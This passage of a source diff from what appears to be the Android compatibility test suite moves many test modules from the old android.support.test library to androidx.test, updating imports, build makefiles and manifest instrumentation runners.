+++ b/tests/tests/animation/src/android/animation/cts/InterpolatorTest.java
@@ -18,13 +18,14 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.animation.AnimationUtils;
import android.view.animation.Interpolator;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/animation/src/android/animation/cts/KeyframeTest.java b/tests/tests/animation/src/android/animation/cts/KeyframeTest.java
index 1072487..b3a1d84 100644
--- a/tests/tests/animation/src/android/animation/cts/KeyframeTest.java
+++ b/tests/tests/animation/src/android/animation/cts/KeyframeTest.java
@@ -21,10 +21,11 @@
import android.animation.Keyframe;
import android.animation.TimeInterpolator;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.animation.AccelerateInterpolator;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java b/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
index da08929..ba1cc47 100644
--- a/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
+++ b/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
@@ -27,16 +27,17 @@
import android.animation.PropertyValuesHolder;
import android.animation.TimeInterpolator;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.ViewGroup;
import android.view.animation.AccelerateInterpolator;
import android.widget.Button;
import android.widget.LinearLayout;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java b/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
index f19b177..ba45d99 100644
--- a/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
@@ -38,15 +38,16 @@
import android.graphics.Path;
import android.graphics.PointF;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Property;
import android.view.View;
import android.view.animation.AccelerateInterpolator;
import android.view.animation.Interpolator;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java b/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
index 3b827ec..c82be8e 100644
--- a/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
+++ b/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
@@ -37,15 +37,16 @@
import android.graphics.PointF;
import android.graphics.drawable.ShapeDrawable;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.FloatProperty;
import android.util.Property;
import android.view.View;
import android.view.animation.AccelerateInterpolator;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/animation/src/android/animation/cts/ValueAnimatorTest.java b/tests/tests/animation/src/android/animation/cts/ValueAnimatorTest.java
index 59b8e5db..f7d7f57 100644
--- a/tests/tests/animation/src/android/animation/cts/ValueAnimatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/ValueAnimatorTest.java
@@ -37,14 +37,15 @@
import android.graphics.Color;
import android.graphics.PointF;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.animation.AccelerateInterpolator;
import android.view.animation.LinearInterpolator;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
diff --git a/tests/tests/app.usage/Android.mk b/tests/tests/app.usage/Android.mk
index eb22828..38a4fb4 100644
--- a/tests/tests/app.usage/Android.mk
+++ b/tests/tests/app.usage/Android.mk
@@ -26,9 +26,9 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
- ctstestrunner \
+ androidx.test.rules \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
junit \
ub-uiautomator
diff --git a/tests/tests/app.usage/AndroidManifest.xml b/tests/tests/app.usage/AndroidManifest.xml
index 9c4342f..1eae847 100644
--- a/tests/tests/app.usage/AndroidManifest.xml
+++ b/tests/tests/app.usage/AndroidManifest.xml
@@ -41,7 +41,7 @@
<activity android:name=".FragmentTestActivity" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.app.usage.cts"
android:label="CTS tests of android.app.usage">
<meta-data android:name="listener"
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index a045488..a74b5a8 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -41,8 +41,6 @@
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.Until;
@@ -52,6 +50,9 @@
import android.util.SparseLongArray;
import android.view.KeyEvent;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.AppStandbyUtils;
import org.junit.Before;
diff --git a/tests/tests/app/Android.mk b/tests/tests/app/Android.mk
index a77c038..ea5d9e6 100644
--- a/tests/tests/app/Android.mk
+++ b/tests/tests/app/Android.mk
@@ -28,8 +28,8 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- android-support-test \
+ ctstestrunner-axt \
+ androidx.test.rules \
junit
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/app/AndroidManifest.xml b/tests/tests/app/AndroidManifest.xml
index 707b22b..ef8c1a8 100644
--- a/tests/tests/app/AndroidManifest.xml
+++ b/tests/tests/app/AndroidManifest.xml
@@ -30,7 +30,7 @@
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.app.cts"
android:label="CTS tests of android.app">
<meta-data android:name="listener"
diff --git a/tests/tests/app/src/android/app/cts/ApplyOverrideConfigurationTest.java b/tests/tests/app/src/android/app/cts/ApplyOverrideConfigurationTest.java
index e6c4234..ebc5a3f 100644
--- a/tests/tests/app/src/android/app/cts/ApplyOverrideConfigurationTest.java
+++ b/tests/tests/app/src/android/app/cts/ApplyOverrideConfigurationTest.java
@@ -19,9 +19,10 @@
import android.content.Context;
import android.content.pm.PackageManager;
import android.content.res.Configuration;
-import android.support.test.filters.SmallTest;
import android.test.ActivityInstrumentationTestCase2;
+import androidx.test.filters.SmallTest;
+
import java.util.concurrent.Future;
/**
diff --git a/tests/tests/app/src/android/app/cts/PictureInPictureActionsTest.java b/tests/tests/app/src/android/app/cts/PictureInPictureActionsTest.java
index da02a81..0f98d0e 100644
--- a/tests/tests/app/src/android/app/cts/PictureInPictureActionsTest.java
+++ b/tests/tests/app/src/android/app/cts/PictureInPictureActionsTest.java
@@ -18,10 +18,10 @@
import static org.junit.Assert.assertTrue;
import android.app.Activity;
-import android.app.Instrumentation;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/app/src/android/app/cts/PictureInPictureParamsBuilderTest.java b/tests/tests/app/src/android/app/cts/PictureInPictureParamsBuilderTest.java
index 639c4d1..4b12120 100644
--- a/tests/tests/app/src/android/app/cts/PictureInPictureParamsBuilderTest.java
+++ b/tests/tests/app/src/android/app/cts/PictureInPictureParamsBuilderTest.java
@@ -22,10 +22,11 @@
import android.app.PictureInPictureParams;
import android.app.PictureInPictureParams.Builder;
import android.graphics.Rect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Rational;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/app/src/android/app/cts/RemoteActionTest.java b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
index 9763d46..2f71ed4 100644
--- a/tests/tests/app/src/android/app/cts/RemoteActionTest.java
+++ b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
@@ -22,9 +22,10 @@
import android.content.Intent;
import android.graphics.drawable.Icon;
import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/appcomponentfactory/Android.mk b/tests/tests/appcomponentfactory/Android.mk
index c3c9939..c6434f5 100644
--- a/tests/tests/appcomponentfactory/Android.mk
+++ b/tests/tests/appcomponentfactory/Android.mk
@@ -28,8 +28,8 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- android-support-test \
+ ctstestrunner-axt \
+ androidx.test.rules \
junit
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/appcomponentfactory/AndroidManifest.xml b/tests/tests/appcomponentfactory/AndroidManifest.xml
index 0d0e8bf..d943327 100644
--- a/tests/tests/appcomponentfactory/AndroidManifest.xml
+++ b/tests/tests/appcomponentfactory/AndroidManifest.xml
@@ -31,7 +31,7 @@
android:authorities="android.app.componentfactory.cts" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.app.componentfactory.cts"
android:label="CTS tests of android.app">
<meta-data android:name="listener"
diff --git a/tests/tests/appcomponentfactory/src/android/app/componentfactory/cts/AppComponentFactoryTest.java b/tests/tests/appcomponentfactory/src/android/app/componentfactory/cts/AppComponentFactoryTest.java
index 2717a1a..b2acd0e 100644
--- a/tests/tests/appcomponentfactory/src/android/app/componentfactory/cts/AppComponentFactoryTest.java
+++ b/tests/tests/appcomponentfactory/src/android/app/componentfactory/cts/AppComponentFactoryTest.java
@@ -19,8 +19,9 @@
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/appwidget/Android.mk b/tests/tests/appwidget/Android.mk
index ae33c1b..493fcab 100644
--- a/tests/tests/appwidget/Android.mk
+++ b/tests/tests/appwidget/Android.mk
@@ -28,9 +28,9 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
mockito-target-minus-junit4 \
- ctstestrunner \
+ ctstestrunner-axt \
junit \
- compatibility-device-util
+ compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/appwidget/AndroidManifest.xml b/tests/tests/appwidget/AndroidManifest.xml
index 46daf85..c772bc9 100644
--- a/tests/tests/appwidget/AndroidManifest.xml
+++ b/tests/tests/appwidget/AndroidManifest.xml
@@ -69,7 +69,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.appwidget.cts"
android:label="Tests for the app widget APIs.">
<meta-data android:name="listener"
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java
index 3352d12..8a04915 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java
@@ -26,8 +26,9 @@
import android.content.ComponentName;
import android.content.pm.PackageManager;
import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.runner.RunWith;
diff --git a/tests/tests/assist/Android.mk b/tests/tests/assist/Android.mk
index f9bc56d..36ec735 100644
--- a/tests/tests/assist/Android.mk
+++ b/tests/tests/assist/Android.mk
@@ -24,7 +24,7 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/assist/AndroidManifest.xml b/tests/tests/assist/AndroidManifest.xml
index 0114ef5..feff7c4 100644
--- a/tests/tests/assist/AndroidManifest.xml
+++ b/tests/tests/assist/AndroidManifest.xml
@@ -45,7 +45,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.assist.cts"
android:label="CTS tests of android.assist">
<meta-data android:name="listener"
diff --git a/tests/tests/assist/service/Android.mk b/tests/tests/assist/service/Android.mk
index 218ed6b..f989776 100644
--- a/tests/tests/assist/service/Android.mk
+++ b/tests/tests/assist/service/Android.mk
@@ -21,7 +21,7 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner-axt compatibility-device-util-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/background/Android.mk b/tests/tests/background/Android.mk
index 67f4f54..b2512ce 100755
--- a/tests/tests/background/Android.mk
+++ b/tests/tests/background/Android.mk
@@ -21,11 +21,11 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
diff --git a/tests/tests/background/AndroidManifest.xml b/tests/tests/background/AndroidManifest.xml
index 0caffdf..f42da76 100755
--- a/tests/tests/background/AndroidManifest.xml
+++ b/tests/tests/background/AndroidManifest.xml
@@ -24,7 +24,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.app.cts.backgroundrestrictions"
android:label="CTS tests for background restrictions">
<meta-data android:name="listener"
diff --git a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
index a8320ff..139cd68 100644
--- a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
+++ b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
@@ -24,13 +24,14 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.AmUtils;
-import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.SystemUtil;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/background/src/android/app/cts/backgroundrestrictions/MyReceiver.java b/tests/tests/background/src/android/app/cts/backgroundrestrictions/MyReceiver.java
index cb05a00..21701ed 100644
--- a/tests/tests/background/src/android/app/cts/backgroundrestrictions/MyReceiver.java
+++ b/tests/tests/background/src/android/app/cts/backgroundrestrictions/MyReceiver.java
@@ -19,7 +19,8 @@
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
import java.util.concurrent.atomic.AtomicReference;
import java.util.function.Consumer;
diff --git a/tests/tests/batterysaving/Android.mk b/tests/tests/batterysaving/Android.mk
index 8ba95d6..3dd2fbf 100755
--- a/tests/tests/batterysaving/Android.mk
+++ b/tests/tests/batterysaving/Android.mk
@@ -22,11 +22,11 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
BatterySavingCtsCommon \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/batterysaving/AndroidManifest.xml b/tests/tests/batterysaving/AndroidManifest.xml
index 392a7aa..3e4062a 100755
--- a/tests/tests/batterysaving/AndroidManifest.xml
+++ b/tests/tests/batterysaving/AndroidManifest.xml
@@ -20,7 +20,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.os.cts.batterysaving"
android:label="CTS tests for battery saving features">
<meta-data android:name="listener"
diff --git a/tests/tests/batterysaving/apps/app_target_api_25/Android.mk b/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
index f1ebee6..59246a3 100644
--- a/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
+++ b/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
@@ -26,10 +26,10 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
BatterySavingCtsCommon \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
+ compatibility-device-util-axt \
ub-uiautomator
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/Android.mk b/tests/tests/batterysaving/apps/app_target_api_current/Android.mk
index e21ff4c..717ce3b 100644
--- a/tests/tests/batterysaving/apps/app_target_api_current/Android.mk
+++ b/tests/tests/batterysaving/apps/app_target_api_current/Android.mk
@@ -26,10 +26,10 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
BatterySavingCtsCommon \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
+ compatibility-device-util-axt \
ub-uiautomator
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/batterysaving/common/Android.mk b/tests/tests/batterysaving/common/Android.mk
index 6feec10..1328461 100644
--- a/tests/tests/batterysaving/common/Android.mk
+++ b/tests/tests/batterysaving/common/Android.mk
@@ -21,10 +21,10 @@
$(call all-proto-files-under, proto)
LOCAL_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target \
- compatibility-device-util \
+ compatibility-device-util-axt \
android.test.runner.stubs
LOCAL_MODULE_TAGS := optional
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
index 2546045..4fc9dd6 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
@@ -41,11 +41,12 @@
import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload.TestServiceRequest.SetAlarmRequest;
import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload.TestServiceRequest.StartServiceRequest;
import android.os.cts.batterysaving.common.Values;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.ThreadUtils;
import org.junit.After;
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverBgServiceTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverBgServiceTest.java
index 904cb48..3df0dd2 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverBgServiceTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverBgServiceTest.java
@@ -31,8 +31,9 @@
import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload;
import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload.TestServiceRequest;
import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload.TestServiceRequest.StartServiceRequest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java
index cbb3fdc..61032d3 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverLocationTest.java
@@ -36,10 +36,11 @@
import android.provider.Settings;
import android.provider.Settings.Global;
import android.provider.Settings.Secure;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CallbackAsserter;
import com.android.compatibility.common.util.RequiredFeatureRule;
import com.android.compatibility.common.util.TestUtils.RunnableWithThrow;
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
index 5f29008..0b414a0 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
@@ -22,8 +22,9 @@
import static org.junit.Assert.assertFalse;
import android.os.PowerManager;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
index 4aef998..e7f0c62 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
@@ -26,9 +26,11 @@
import android.location.LocationManager;
import android.os.BatteryManager;
import android.os.PowerManager;
-import android.support.test.InstrumentationRegistry;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.BatteryUtils;
import com.android.compatibility.common.util.BeforeAfterRule;
import com.android.compatibility.common.util.OnFailureRule;
@@ -60,9 +62,7 @@
private final BeforeAfterRule mInitializeAndCleanupRule = new BeforeAfterRule() {
@Override
protected void onBefore(Statement base, Description description) throws Throwable {
- // Don't run any battery saver tests on wear.
- final PackageManager pm = getPackageManager();
- Assume.assumeFalse(pm.hasSystemFeature(PackageManager.FEATURE_WATCH));
+ BatteryUtils.assumeBatterySaverFeature();
turnOnScreen(true);
}
diff --git a/tests/tests/bluetooth/Android.mk b/tests/tests/bluetooth/Android.mk
index 3fdb872..ab06e93 100644
--- a/tests/tests/bluetooth/Android.mk
+++ b/tests/tests/bluetooth/Android.mk
@@ -24,7 +24,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
LOCAL_JAVA_LIBRARIES += android.test.base.stubs
diff --git a/tests/tests/bluetooth/AndroidManifest.xml b/tests/tests/bluetooth/AndroidManifest.xml
index 4eb9cd9..45b05c1 100644
--- a/tests/tests/bluetooth/AndroidManifest.xml
+++ b/tests/tests/bluetooth/AndroidManifest.xml
@@ -29,7 +29,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.bluetooth.cts"
android:label="CTS tests of bluetooth component">
<meta-data android:name="listener"
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
index cb59a0a..1853741 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
@@ -30,12 +30,13 @@
import android.content.pm.PackageManager;
import android.os.ParcelUuid;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.MediumTest;
import android.util.Log;
import android.util.SparseArray;
+import androidx.test.InstrumentationRegistry;
+
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
diff --git a/tests/tests/calendarcommon/Android.mk b/tests/tests/calendarcommon/Android.mk
index bfd9f26..3d7c046 100644
--- a/tests/tests/calendarcommon/Android.mk
+++ b/tests/tests/calendarcommon/Android.mk
@@ -25,7 +25,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/calendarcommon/AndroidManifest.xml b/tests/tests/calendarcommon/AndroidManifest.xml
index 951404a..ad94354 100644
--- a/tests/tests/calendarcommon/AndroidManifest.xml
+++ b/tests/tests/calendarcommon/AndroidManifest.xml
@@ -23,7 +23,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.calendarcommon2.cts"
android:label="CTS tests of calendarcommon">
<meta-data android:name="listener"
diff --git a/tests/tests/car/Android.mk b/tests/tests/car/Android.mk
index 049a8a6..7104159 100644
--- a/tests/tests/car/Android.mk
+++ b/tests/tests/car/Android.mk
@@ -25,9 +25,9 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
- ctstestrunner
+ androidx.test.rules \
+ compatibility-device-util-axt \
+ ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.car android.test.base.stubs
diff --git a/tests/tests/car/AndroidManifest.xml b/tests/tests/car/AndroidManifest.xml
index fe1b64f..f1df507 100644
--- a/tests/tests/car/AndroidManifest.xml
